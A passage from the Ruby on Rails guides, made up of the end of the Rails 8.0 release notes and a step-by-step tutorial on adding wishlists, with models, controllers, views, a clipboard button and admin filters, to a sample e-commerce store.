* Remove deprecated file `rails/console/helpers`.

* Remove deprecated support to extend Rails console through `Rails::ConsoleMethods`.

### [3.2. Deprecations](#railties-deprecations)

* Deprecate requiring `"rails/console/methods"`.

* Deprecate modifying `STATS_DIRECTORIES` in favor of `Rails::CodeStatistics.register_directory`.

* Deprecate `bin/rake stats` in favor of `bin/rails stats`.

### [3.3. Notable changes](#railties-notable-changes)

* Set `Regexp.timeout` to `1`s by default to improve security over Regexp Denial-of-Service attacks.

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

### [4.2. Deprecations](#action-cable-deprecations)

### [4.3. Notable changes](#action-cable-notable-changes)

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove `Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality`.

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate drawing routes with multiple paths to make routing faster.

### [5.3. Notable changes](#action-pack-notable-changes)

* Introduce safer, more explicit params handling method with [`params#expect`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html#method-i-expect) such that `params.expect(table: [ :attr ])` replaces `params.require(:table).permit(:attr)`.

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated support to passing `nil` to the `model:` argument of `form_with`.

* Remove deprecated support to passing a content to void tag elements on the `tag` builder.

### [6.2. Deprecations](#action-view-deprecations)

### [6.3. Notable changes](#action-view-notable-changes)

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

### [7.2. Deprecations](#action-mailer-deprecations)

### [7.3. Notable changes](#action-mailer-notable-changes)

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove deprecated `config.active_record.commit_transaction_on_non_local_return`.

* Remove deprecated `config.active_record.allow_deprecated_singular_associations_name`.

* Remove deprecated support to finding database adapters that aren't registered to Active Record.

* Remove deprecated support for defining `enum` with keyword arguments.

* Remove deprecated `config.active_record.warn_on_records_fetched_greater_than`.

* Remove deprecated `config.active_record.sqlite3_deprecated_warning`.

* Remove deprecated `ActiveRecord::ConnectionAdapters::ConnectionPool#connection`.

* Remove deprecated support to passing a database name to `cache_dump_filename`.

* Remove deprecated support to setting `ENV["SCHEMA_CACHE"]`.

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate the `retries` option for the `SQLite3Adapter` in favor of `timeout`.

### [8.3. Notable changes](#active-record-notable-changes)

* Running `db:migrate` on a fresh database now loads the schema before running migrations. Subsequent calls will run pending migrations. (If you need the previous behavior of running migrations from scratch instead of loading the schema file, this can be done by running `db:migrate:reset` which *will drop and recreate the database before running migrations*)

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

### [9.2. Deprecations](#active-storage-deprecations)

* Deprecate the Azure backend for Active Storage.

### [9.3. Notable changes](#active-storage-notable-changes)

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated `ActiveSupport::ProxyObject`.

* Remove deprecated support to setting `attr_internal_naming_format` with a `@` prefix.

* Remove deprecated support to passing an array of strings to `ActiveSupport::Deprecation#warn`.

### [11.2. Deprecations](#active-support-deprecations)

* Deprecate `Benchmark.ms`.

* Deprecate addition and `since` between two `Time` and `ActiveSupport::TimeWithZone`.

### [11.3. Notable changes](#active-support-notable-changes)

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

* Remove deprecated `config.active_job.use_big_decimal_serializer`.

### [12.2. Deprecations](#active-job-deprecations)

* Deprecate `enqueue_after_transaction_commit`.

* Deprecate internal `SuckerPunch` adapter in favor of the adapter included with the `sucker_punch` gem.

### [12.3. Notable changes](#active-job-notable-changes)

## [13. Action Text](#action-text)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/actiontext/CHANGELOG.md) for detailed changes.

### [13.1. Removals](#action-text-removals)

### [13.2. Deprecations](#action-text-deprecations)

### [13.3. Notable changes](#action-text-notable-changes)

## [14. Action Mailbox](#action-mailbox)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/actionmailbox/CHANGELOG.md) for detailed changes.

### [14.1. Removals](#action-mailbox-removals)

### [14.2. Deprecations](#action-mailbox-deprecations)

### [14.3. Notable changes](#action-mailbox-notable-changes)

## [15. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/8-0-stable/guides/CHANGELOG.md) for detailed changes.

### [15.1. Notable changes](#notable-changes)

## [16. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/wishlists.html
----

***

## [1. Introduction](#introduction)

E-commerce stores often have wishlists for sharing products. Customers can use wishlists to keep track of products they'd like to buy or share them with friends and family for gift ideas.

Let's get started!

## [2. Wishlist Models](#wishlist-models)

Our e-commerce store has products and users that we already built in the previous tutorials. These are the foundations we need to build Wishlists. Each wishlist belongs to a user and contains a list of products.

Let's start by creating the `Wishlist` model.

```
$ bin/rails generate model Wishlist user:belongs_to name products_count:integer
```

This model has 3 attributes:

* `user:belongs_to` which associates the `Wishlist` with the `User` who owns it
* `name` which we'll also use for friendly URLs
* `products_count` for the [counter cache](https://guides.rubyonrails.org/association_basics.html#counter-cache) to count how many products are on the Wishlist

To associate a `Wishlist` with multiple `Products`, we need to add a table to join them.

```
$ bin/rails generate model WishlistProduct product:belongs_to wishlist:belongs_to
```

We don't want the same `Product` to be on a `Wishlist` multiple times, so let's add an index to the migration that was just created:

```
class CreateWishlistProducts < ActiveRecord::Migration[8.0]
  def change
    create_table :wishlist_products do |t|
      t.belongs_to :product, null: false, foreign_key: true
      t.belongs_to :wishlist, null: false, foreign_key: true

      t.timestamps
    end

    add_index :wishlist_products, [:product_id, :wishlist_id], unique: true
  end
end
```

Finally, let's add a counter to the `Product` model to keep track of how many `Wishlists` the product is on.

```
$ bin/rails generate migration AddWishlistsCountToProducts wishlists_count:integer
```

### [2.1. Default Counter Cache Values](#default-counter-cache-values)

Before we run these new migrations, let's set a default value for the counter cache columns so that all existing records start with a count of zero instead of NULL.

Open the `db/migrate/<timestamp>_create_wishlists.rb` migration and add the default option:

```
class CreateWishlists < ActiveRecord::Migration[8.0]
  def change
    create_table :wishlists do |t|
      t.belongs_to :user, null: false, foreign_key: true
      t.string :name
      t.integer :products_count, default: 0

      t.timestamps
    end
  end
end
```

Then open `db/migrate/<timestamp>_add_wishlists_count_to_products.rb` and add a default here too:

```
class AddWishlistsCountToProducts < ActiveRecord::Migration[8.0]
  def change
    add_column :products, :wishlists_count, :integer, default: 0
  end
end
```

Now let's run the migrations:

```
$ bin/rails db:migrate
```

### [2.2. Associations & Counter Caches](#associations-counter-caches)

Now that our database tables are created, let's update our models in Rails to include these new associations.

In `app/models/user.rb`, add the following:

```
class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy
  has_many :wishlists, dependent: :destroy

  # ...
```

We set `dependent: :destroy` on the `wishlists` association so when a User is deleted, their wishlists are deleted too.

Then in `app/models/product.rb`, add:

```
class Product < ApplicationRecord
  include Notifications

  has_many :wishlist_products, dependent: :destroy
  has_many :wishlists, through: :wishlist_products
  has_one_attached :featured_image
  has_rich_text :description
```

We added two associations to `Product`. First, we associate the `Product` model with the `WishlistProduct` join table. Using this join table, our second association tells Rails that a `Product` is a part of many `Wishlists` through the same `WishlistProduct` join table. From a `Product` record, we can directly access the `Wishlists` and Rails will know to automatically `JOIN` the tables in SQL queries.

We also set `wishlist_products` as `dependent: :destroy`. When a `Product` is destroyed, it will be automatically removed from any Wishlists.

A counter cache stores the number of associated records to avoid running a separate query each time the count is needed. So in `app/models/wishlist_product.rb`, let's update both associations to enable counter caching:

```
class WishlistProduct < ApplicationRecord
  belongs_to :product, counter_cache: :wishlists_count
  belongs_to :wishlist, counter_cache: :products_count

  validates :product_id, uniqueness: { scope: :wishlist_id }
end
```

We've specified a column name to update on the associated models. For the `Product` model, we want to use the `wishlists_count` column and for `Wishlist` we want to use `products_count`. These counter caches update anytime a `WishlistProduct` is created or destroyed.

The `uniqueness` validation also tells Rails to check if a product is already on the wishlist. This is paired with the unique index on the wishlist\_product table so that it's also validated at the database level.

Finally, let's update `app/models/wishlist.rb` with it's associations:

```
class Wishlist < ApplicationRecord
  belongs_to :user
  has_many :wishlist_products, dependent: :destroy
  has_many :products, through: :wishlist_products
end
```

Just like with `Product`, `wishlist_products` uses the `dependent: :destroy` option to automatically remove join table records when a Wishlist is deleted.

### [2.3. Friendly URLs](#friendly-urls)

Wishlists are often shared with friends and family. By default, the ID in the URL for a `Wishlist` is a simple Integer. This means we can't easily look at the URL to determine which `Wishlist` it's for.

Active Record has a `to_param` class method that can be used for generating more descriptive URLs. Let's try it out in our model:

```
class Wishlist < ApplicationRecord
  belongs_to :user
  has_many :wishlist_products, dependent: :destroy
  has_many :products, through: :wishlist_products

  def to_param
    "#{id}-#{name.squish.parameterize}"
  end
end
```

This will create a `to_param` instance method that returns a String for the URL param made up of the `id` and `name` joined by hyphens. `name` is made URL safe by using [`squish`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-squish) to clean up whitespace and [`parameterize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-parameterize) to replace special characters.

Let's test this in the Rails console:

```
$ bin/rails console
```

Then create a `Wishlist` for your `User` in the database:

```
store(dev)> user = User.first
store(dev)> wishlist = user.wishlists.create!(name: "Example Wishlist")
store(dev)> wishlist.to_param
=> "1-example-wishlist"
```

Perfect!

Now let's try finding this record using this param:

```
store(dev)> wishlist = Wishlist.find("1-example-wishlist")
=> #<Wishlist:0x000000012bb71d68
 id: 1,
 user_id: 1,
 name: "Example Wishlist",
 products_count: nil,
 created_at: "2025-07-22 15:21:29.036470000 +0000",
 updated_at: "2025-07-22 15:21:29.036470000 +0000">
```

It worked! But how? Didn't we have to use Integers to find records?

The way we're using `to_param` takes advantage of [how Ruby converts Strings to Integers](https://docs.ruby-lang.org/en/master/String.html#method-i-to_i). Let's convert that param to an integer using `to_i` in the console:

```
store(dev)> "1-example-wishlist".to_i
=> 1
```

Ruby parses the String until it finds a character that isn't a valid number. In this case, it stops at the first hyphen. Then Ruby converts the String of `"1"` into an Integer and returns `1`. This makes `to_param` work seamlessly when prefixing the ID at the beginning.

Now that we understand how this works, let's replace our `to_param` method with a call to the class method shortcut.

```
class Wishlist < ApplicationRecord
  belongs_to :user
  has_many :wishlist_products, dependent: :destroy
  has_many :products, through: :wishlist_products

  to_param :name
end
```

The [`to_param`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Integration/ClassMethods.html#method-i-to_param) class method defines an instance method with the same name. The argument is the method name to be called for generating the param. We're telling it to use the `name` attribute to generate the param.

One additional thing `to_param` does is truncate values longer than 20 characters word by word.

Let's reload our code in the Rails console and test out a long `Wishlist` name.

```
store(dev)> reload!
store(dev)> Wishlist.last.update(name: "A really, really long wishlist name!")
store(dev)> Wishlist.last.to_param
=> "1-a-really-really-long"
```

You can see that the name was truncated to the closest word to 20 characters.

Alright, close the Rails console and let's start implementing wishlists in the UI.

## [3. Adding Products To Wishlists](#adding-products-to-wishlists)

The first place a user will probably use wishlists is on the `Product` show page. They'll likely be browsing products and want to save one for later. Let's begin by building that first.

### [3.1. Add To Wishlist Form](#add-to-wishlist-form)

Start in `config/routes.rb` by adding the route for this form to submit to:

```
  resources :products do
    resource :wishlist, only: [ :create ], module: :products
    resources :subscribers, only: [ :create ]
  end
```

We're using a singular resource for this route since we won't necessarily know the Wishlist ID ahead of time. We're also using `module: :products` to scope this controller to the `Products` namespace.

In `app/views/products/show.html.erb`, add the following to render a new wishlist partial:

```
<p><%= link_to "Back", products_path %></p>

<section class="product">
  <%= image_tag @product.featured_image if @product.featured_image.attached? %>

  <section class="product-info">
    <% cache @product do %>
      <h1><%= @product.name %></h1>
      <%= @product.description %>
    <% end %>

    <%= render "inventory", product: @product %>
    <%= render "wishlist", product: @product %>
  </section>
</section>
```

Then create `app/views/products/_wishlist.html.erb` with the following:

```
<% if authenticated? %>
  <%= form_with url: product_wishlist_path(product) do |form| %>
    <div>
      <%= form.collection_select :wishlist_id, Current.user.wishlists, :id, :name %>
    </div>

    <div>
      <%= form.submit "Add to wishlist" %>
    </div>
  <% end %>
<% else %>
  <%= link_to "Add to wishlist", sign_up_path %>
<% end %>
```

If a user is not logged in, they'll see a link to sign up. Logged in users will see a form to select a wishlist and add the product to it.

Next, create the controller to handle this form in `app/controllers/products/wishlists_controller.rb` with the following:

```
class Products::WishlistsController < ApplicationController
  before_action :set_product
  before_action :set_wishlist

  def create
    @wishlist.wishlist_products.create(product: @product)
    redirect_to @wishlist, notice: "#{@product.name} added to wishlist."
  end

  private
    def set_product
      @product = Product.find(params[:product_id])
    end

    def set_wishlist
      @wishlist = Current.user.wishlists.find(params[:wishlist_id])
    end
end
```

Since we're in a nested resource route, we find the `Product` using the `:product_id` param.

The `create` action is also simpler than normal. If a product is already on the wishlist, the `wishlist_product` record will fail to create but we don't need to notify the user of this error so we can redirect to the wishlist in either case.

Now, log in as the user we created a wishlist for earlier and try adding a product to the wishlist.

### [3.2. Default Wishlist](#default-wishlist)

This works fine since we created a wishlist in the Rails console, but what happens when the user doesn't have any wishlists?

Run the following to delete all wishlists in the database:

```
$ bin/rails runner "Wishlist.destroy_all"
```

Try visiting a product and adding it to a wishlist now.

The first problem is the select box will be empty. The form will not submit a `wishlist_id` param to the server and that will cause Active Record to raise an error.

```
ActiveRecord::RecordNotFound (Couldn't find Wishlist without an ID):

app/controllers/products/wishlists_controller.rb:16:in 'Products::WishlistsController#set_wishlist'
```

In this case, we should automatically create a wishlist if the user doesn't have any. This has the added bonus of slowly introducing the user to wishlists.

Update `set_wishlist` in the controller to find or create a wishlist:

```
class Products::WishlistsController < ApplicationController
  before_action :set_product
  before_action :set_wishlist

  def create
    @wishlist.wishlist_products.create(product: @product)
    redirect_to @wishlist, notice: "#{@product.name} added to wishlist."
  end

  private
    def set_product
      @product = Product.find(params[:product_id])
    end

    def set_wishlist
      if (id = params[:wishlist_id])
        @wishlist = Current.user.wishlists.find(id)
      else
        @wishlist = Current.user.wishlists.create(name: "My Wishlist")
      end
    end
end
```

To improve our form, let's hide the select box if the user doesn't have any wishlists. Update `app/views/products/_wishlist.html.erb` with the following:

```
<% if authenticated? %>
  <%= form_with url: product_wishlist_path(product) do |form| %>
    <% if Current.user.wishlists.any? %>
      <div>
        <%= form.collection_select :wishlist_id, Current.user.wishlists, :id, :name %>
      </div>
    <% end %>

    <div>
      <%= form.submit "Add to wishlist" %>
    </div>
  <% end %>
<% else %>
  <%= link_to "Add to wishlist", sign_up_path %>
<% end %>
```

## [4. Managing Wishlists](#managing-wishlists)

Next, we need to be able to view and manage our wishlists.

### [4.1. Wishlists Controller](#wishlists-controller)

Start by adding a route for wishlists at the top level:

```
Rails.application.routes.draw do
  # ...
  resources :products do
    resource :wishlist, only: [ :create ], module: :products
    resources :subscribers, only: [ :create ]
  end
  resource :unsubscribe, only: [ :show ]

  resources :wishlists
```

Then we can add the controller at `app/controllers/wishlists_controller.rb` with the following:

```
class WishlistsController < ApplicationController
  allow_unauthenticated_access only: %i[ show ]
  before_action :set_wishlist, only: %i[ edit update destroy ]

  def index
    @wishlists = Current.user.wishlists
  end

  def show
    @wishlist = Wishlist.find(params[:id])
  end

  def new
    @wishlist = Wishlist.new
  end

  def create
    @wishlist = Current.user.wishlists.new(wishlist_params)
    if @wishlist.save
      redirect_to @wishlist, notice: "Your wishlist was created successfully."
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
  end

  def update
    if @wishlist.update(wishlist_params)
      redirect_to @wishlist, status: :see_other, notice: "Your wishlist has been updated successfully."
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
    @wishlist.destroy
    redirect_to wishlists_path, status: :see_other
  end

  private

  def set_wishlist
    @wishlist = Current.user.wishlists.find(params[:id])
  end

  def wishlist_params
    params.expect(wishlist: [ :name ])
  end
end
```

This is a very standard controller with a couple important changes:

* Actions are scoped to `Current.user.wishlists` so only the owner can create, update, and delete their own wishlists
* `show` is publicly accessible so wishlists can be shared and viewed by anyone

### [4.2. Wishlist Views](#wishlist-views)

Create the index view at `app/views/wishlists/index.html.erb`:

```
<h1>Your Wishlists</h1>
<%= link_to "Create a wishlist", new_wishlist_path %>
<%= render @wishlists %>
```

This renders the `_wishlist` partial so let's create that at `app/views/wishlists/_wishlist.html.erb`:

```
<div>
  <%= link_to wishlist.name, wishlist %>
</div>
```

Next let's create the `new` view at `app/views/wishlists/new.html.erb`:

```
<h1>New Wishlist</h1>
<%= render "form", locals: { wishlist: @wishlist } %>
```

And the `edit` view at `app/views/wishlists/edit.html.erb`:

```
<h1>Edit Wishlist</h1>
<%= render "form", locals: { wishlist: @wishlist } %>
```

Along with the `_form` partial at `app/views/wishlists/_form.html.erb`:

```
<%= form_with model: @wishlist do |form| %>
  <% if form.object.errors.any? %>
    <div><%= form.object.errors.full_messages.to_sentence %></div>
  <% end %>

  <div>
    <%= form.label :name %>
    <%= form.text_field :name %>
  </div>

  <div>
    <%= form.submit %>
    <%= link_to "Cancel", form.object.persisted? ? form.object : wishlists_path %>
  </div>
<% end %>
```

Create `show` next at `app/views/wishlists/show.html.erb`:

```
<h1><%= @wishlist.name %></h1>
<% if authenticated? && @wishlist.user == Current.user %>
  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
<% end %>

<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
<% @wishlist.wishlist_products.includes(:product).each do %>
  <div>
    <%= link_to it.product.name, it.product %>
    <small>Added <%= l it.created_at, format: :long %></small>
  </div>
<% end %>
```

Lastly, let's add a link to the navbar in `app/views/layouts/application.html.erb`:

```
    <nav class="navbar">
      <%= link_to "Home", root_path %>
      <% if authenticated? %>
        <%= link_to "Wishlists", wishlists_path %>
        <%= link_to "Settings", settings_root_path %>
        <%= button_to "Log out", session_path, method: :delete %>
      <% else %>
        <%= link_to "Sign Up", sign_up_path %>
        <%= link_to "Login", new_session_path %>
      <% end %>
    </nav>
```

Refresh the page and click the "Wishlists" link in the navbar to view and manage your wishlists.

### [4.3. Copy To Clipboard](#copy-to-clipboard)

To make sharing wishlists easier, we can add a “Copy to Clipboard” button that uses a small amount of JavaScript.

Rails includes Hotwire by default, so we can use its [Stimulus framework](https://stimulus.hotwired.dev/) to add some lightweight JavaScript to our UI.

First, let's add a button to `app/views/wishlists/show.html.erb`:

```
<h1><%= @wishlist.name %></h1>
<% if authenticated? && @wishlist.user == Current.user %>
  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
<% end %>

<%= tag.button "Copy to clipboard", data: { controller: :clipboard, action: "clipboard#copy", clipboard_text_value: wishlist_url(@wishlist) } %>
```

This button has several data attributes that wire up to the JavaScript. We're using the Rails `tag` helper to make this shorter which outputs the following HTML:

```
<button data-controller="clipboard" data-action="clipboard#copy" data-clipboard-text-value="/wishlists/1-example-wishlist">
  Copy to clipboard
</button>
```

What do these data attributes do? Let's break down each one:

* `data-controller` tells Stimulus to connect to `clipboard_controller.js`
* `data-action` tells Stimulus to call the `clipboard` controller's `copy()` method when the button is clicked
* `data-clipboard-text-value` tells the Stimulus controller it has some data called `text` that it can use

Create the Stimulus controller at `app/javascript/controllers/clipboard_controller.js`:

```
import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  static values = { text: String }

  copy() {
    navigator.clipboard.writeText(this.textValue)
  }
}
```

This Stimulus controller is short. It does two things:

* Registers `text` as a value so we can access it. This is the URL we want to copy to the clipboard.
* The `copy` function writes the `text` from the HTML to the clipboard when called.

If you're familiar with JavaScript, you'll notice we didn't have to add any event listeners or setup & teardown this controller. That's handled automatically by Stimulus reading the data attributes in our HTML.

To learn more about Stimulus, check out the [Stimulus](https://stimulus.hotwired.dev/) website.

### [4.4. Removing Products](#removing-products)

A user may purchase or lose interest in a product and want to remove it from their wishlist. Let's add that feature next.

First we'll update the wishlists route to contain a nested resource.

```
Rails.application.routes.draw do
  # ...
  resources :products do
    resource :wishlist, only: [ :create ], module: :products
    resources :subscribers, only: [ :create ]
  end
  resource :unsubscribe, only: [ :show ]

  resources :wishlists do
    resources :wishlist_products, only: [ :update, :destroy ], module: :wishlists
  end
```

Then we can update `app/views/wishlists/show.html.erb` to include a "Remove" button:

```
<h1><%= @wishlist.name %></h1>
<% if authenticated? && @wishlist.user == Current.user %>
  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
<% end %>

<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
<% @wishlist.wishlist_products.includes(:product).each do %>
  <div>
    <%= link_to it.product.name, it.product %>
    <small>Added <%= l it.created_at, format: :long %></small>

    <% if authenticated? && @wishlist.user == Current.user %>
      <%= button_to "Remove", [ @wishlist, it ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
    <% end %>
  </div>
<% end %>
```

Create `app/controllers/wishlists/wishlist_products_controller.rb` and add the following:

```
class Wishlists::WishlistProductsController < ApplicationController
  before_action :set_wishlist
  before_action :set_wishlist_product

  def destroy
    @wishlist_product.destroy
    redirect_to @wishlist, notice: "#{@wishlist_product.product.name} removed from wishlist."
  end

  private

  def set_wishlist
    @wishlist = Current.user.wishlists.find_by(id: params[:wishlist_id])
  end

  def set_wishlist_product
    @wishlist_product = @wishlist.wishlist_products.find(params[:id])
  end
end
```

You can now remove products from any wishlist. Try it out!

### [4.5. Moving Products To Another Wishlist](#moving-products-to-another-wishlist)

With multiple wishlists, users may want to move a product from one list to another. For example, they might want to move items into a "Christmas" wishlist.

In `app/views/wishlists/show.html.erb`, add the following:

```
<h1><%= @wishlist.name %></h1>
<% if authenticated? && @wishlist.user == Current.user %>
  <%= link_to "Edit", edit_wishlist_path(@wishlist) %>
  <%= button_to "Delete", @wishlist, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
<% end %>

<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
<% @wishlist.wishlist_products.includes(:product).each do %>
  <div>
    <%= link_to it.product.name, it.product %>
    <small>Added <%= l it.created_at, format: :long %></small>

    <% if authenticated? && @wishlist.user == Current.user %>
      <% if (other_wishlists = Current.user.wishlists.excluding(@wishlist)) && other_wishlists.any? %>
        <%= form_with url: [ @wishlist, it ], method: :patch do |form| %>
          <%= form.collection_select :new_wishlist_id, other_wishlists, :id, :name %>
          <%= form.submit "Move" %>
        <% end %>
      <% end %>

      <%= button_to "Remove", [ @wishlist, it ], method: :delete, data: { turbo_confirm: "Are you sure?" } %>
    <% end %>
  </div>
<% end %>
```

This queries for other wishlists and, if present, renders a form to move a product to the selected wishlist. If no other wishlists exist, the form will not be displayed.

To handle this in the controller, we'll add the `update` action to `app/controllers/wishlists/wishlist_products_controller.rb`:

```
class Wishlists::WishlistProductsController < ApplicationController
  before_action :set_wishlist
  before_action :set_wishlist_product

  def update
    new_wishlist = Current.user.wishlists.find(params[:new_wishlist_id])
    if @wishlist_product.update(wishlist: new_wishlist)
      redirect_to @wishlist, status: :see_other, notice: "#{@wishlist_product.product.name} has been moved to #{new_wishlist.name}"
    else
      redirect_to @wishlist, status: :see_other, alert: "#{@wishlist_product.product.name} is already on #{new_wishlist.name}."
    end
  end

  # ...
```

This action looks up the new wishlist from the logged in user's wishlists. It then tries to update the wishlist ID on `@wishlist_product`. This could fail if the product already exists on the other wishlist so we'll display an error in that case. If not, we can simply transfer the product to the new wishlist. Since we don't want the user to lose their place, we redirect back to the current wishlist they're viewing in either case.

Test this out by creating a second wishlist and moving a product back and forth.

## [5. Adding Wishlists To Admin](#adding-wishlists-to-admin)

Viewing wishlists in the admin area will be helpful to get an idea of which products are popular.

To start, let's add wishlists to the store namespace routes in `config/routes.rb`:

```
  # Admins Only
  namespace :store do
    resources :products
    resources :users
    resources :wishlists

    root to: redirect("/store/products")
  end
```

Create `app/controllers/store/wishlists_controller.rb` with:

```
class Store::WishlistsController < Store::BaseController
  def index
    @wishlists = Wishlist.includes(:user)
  end

  def show
    @wishlist = Wishlist.find(params[:id])
  end
end
```

We only need the index and show actions here because as admins, we don't want to mess with user's wishlists.

Now let's add the views for these actions. Create `app/views/store/wishlists/index.html.erb` with:

```
<h1>Wishlists</h1>
<%= render @wishlists %>
```

Then create the wishlist partial in `app/views/store/wishlists/_wishlist.html.erb` with:

```
<div>
  <%= link_to wishlist.name, store_wishlist_path(wishlist) %> by <%= link_to wishlist.user.full_name, store_user_path(wishlist.user) %>
</div>
```

Then create the show view at `app/views/store/wishlists/show.html.erb` with:

```
<h1><%= @wishlist.name %></h1>
<p>By <%= link_to @wishlist.user.full_name, store_user_path(@wishlist.user) %></p>

<h3><%= pluralize @wishlist.products_count, "Product" %></h3>
<% @wishlist.wishlist_products.includes(:product).each do %>
  <div>
    <%= link_to it.product.name, store_product_path(it.product) %>
    <small>Added <%= l it.created_at, format: :long %></small>
  </div>
<% end %>
```

Lastly, add the link to the sidebar layout:

```
<%= content_for :content do %>
  <section class="settings">
    <nav>
      <h4>Account Settings</h4>
      <%= link_to "Profile", settings_profile_path %>
      <%= link_to "Email", settings_email_path %>
      <%= link_to "Password", settings_password_path %>
      <%= link_to "Account", settings_user_path %>

      <% if Current.user.admin? %>
        <h4>Store Settings</h4>
        <%= link_to "Products", store_products_path %>
        <%= link_to "Users", store_users_path %>
        <%= link_to "Wishlists", store_wishlists_path %>
      <% end %>
    </nav>

    <div>
      <%= yield %>
    </div>
  </section>
<% end %>

<%= render template: "layouts/application" %>
```

Now we can view wishlists in the admin area.

### [5.1. Filtering Wishlists](#filtering-wishlists)

To get a better look at data in the admin area, it's helpful to have filters. We can filter wishlists by user or by product.

Update `app/views/store/wishlists/index.html.erb` by adding the following form:

```
<h1><%= pluralize @wishlists.count, "Wishlist" %></h1>

<%= form_with url: store_wishlists_path, method: :get do |form| %>
  <%= form.collection_select :user_id, User.all, :id, :full_name, selected: params[:user_id], include_blank: "All Users" %>
  <%= form.collection_select :product_id, Product.all, :id, :name, selected: params[:product_id], include_blank: "All Products" %>
  <%= form.submit "Filter" %>
<% end %>

<%= render @wishlists %>
```

We've updated the header to show the total number of wishlists, which makes it easier to see how many results match when a filter is applied. When you submit the form, Rails adds your selected filters to the URL as query params. The form then reads those values when loading the page to automatically re-select the same options in the dropdowns, so your choices stay visible after submitting. Since the form submits to the index action, so it can display either all wishlists or just the filtered results.

To make this work, we need to apply these filters in our SQL query with Active Record. Update the controller to include these filters:

```
class Store::WishlistsController < Store::BaseController
  def index
    @wishlists = Wishlist.includes(:user)
    @wishlists = @wishlists.where(user_id: params[:user_id]) if params[:user_id].present?
    @wishlists = @wishlists.includes(:wishlist_products).where(wishlist_products: { product_id: params[:product_id] }) if params[:product_id].present?
  end

  def show
    @wishlist = Wishlist.find(params[:id])
  end
end
```

Active Record queries are *lazy evaluated* which means SQL queries aren't executed until you ask for the results. This allows our controller to build up the query step-by-step and include filters if needed.

Once you have more wishlists in the system, you can use the filters to view wishlists by a specific user, product, or a combination of both.

### [5.2. Refactoring Filters](#refactoring-filters)

Our controller has gotten a bit messy by introducing these filters. Let's move our logic out of the controller by extracting a method on the `Wishlist` model.

```
class Store::WishlistsController < Store::BaseController
  def index
    @wishlists = Wishlist.includes(:user).filter_by(params)
  end

  def show
    @wishlist = Wishlist.find(params[:id])
  end
end
```

We'll implement `filter_by` in the `Wishlist` model by defining a class method.

```
class Wishlist < ApplicationRecord
  belongs_to :user
  has_many :wishlist_products, dependent: :destroy
  has_many :products, through: :wishlist_products

  to_param :name

  def self.filter_by(params)
    results = all
    results = results.where(user_id: params[:user_id]) if params[:user_id].present?
    results = results.includes(:wishlist_products).where(wishlist_products: {product_id: params[:product_id]}) if params[:product_id].present?
    results
  end
end
```

`filter_by` is almost the same as what we had in the controller, but we start by calling [`all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all) which returns an `ActiveRecord::Relation` for all the records including any conditions we may have already applied. Then we apply the filters and return the results.

Refactoring like this means the controller becomes cleaner, while the filtering logic now lives in the model where it belongs, alongside other database-related logic. This follows the **Fat Model, Skinny Controller** principle, a best practice in Rails.

## [6. Adding Subscribers To Admin](#adding-subscribers-to-admin)

